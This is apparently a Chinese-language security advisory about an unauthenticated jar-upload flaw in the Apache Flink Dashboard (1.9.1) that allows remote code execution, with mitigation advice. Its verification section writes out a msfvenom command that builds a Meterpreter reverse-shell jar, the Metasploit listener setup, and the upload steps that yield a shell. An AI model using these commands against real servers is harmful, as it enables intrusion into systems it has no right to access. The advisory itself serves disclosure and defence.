Apache Flink 任意Jar包上傳導致遠程代碼執行漏洞安全通告
發布時間 2019-11-14漏洞編號和級別
CVE編號:暫無,危險級別:高危,CVSS分值:官方未評定
影響版本
至目前最新版本Apache Flink 1.9.1
漏洞概述
Apache Flink是由Apache軟件基金會開發的開源流處理框架,其核心是用Java和Scala編寫的分布式流數據流引擎。Flink以數據并行和流水線方式執行任意流數據程序,Flink的流水線運行時系統可以執行批處理和流處理程序。此外,Flink的運行時本身也支持迭代算法的執行。
Apache Flink的數據流編程模型在有限和無限數據集上提供單次事件(event-at-a-time)處理。在基礎層面,Flink程序由流和轉換組成。
Apache Flink的API:有界或無界數據流的數據流API、用于有界數據集的數據集API、表API。
Apache Flink Dashboard 中可上傳惡意jar包并觸發惡意代碼執行。由于Apache Flink Dashboard 默認無需認證即可訪問,因此該漏洞可用作獲取shell。
漏洞驗證
POC:https://twitter.com/jas502n/status/1193869996717297664。
測試環境:Apache Flink 1.9.1
1、上傳msf生成的jar包,生成rce.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar
2、配置msf監聽
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 8087
show options
run
在Submit New Job處上傳rec.jar文件,點擊submit
成功反彈shell,執行id可看到結果
修復建議
該漏洞官方尚未發布安全更新以及解決方法,請受影響的用戶實時關注Apache Flink官網:https://flink.apache.org/downloads.html。
緩解措施:
建議設置防火墻策略,僅允許白名單ip訪問 apache flink服務,并在Web代理(如apache httpd)中增加對該服務的digest認證。
參考鏈接
https://twitter.com/jas502n/status/1193869996717297664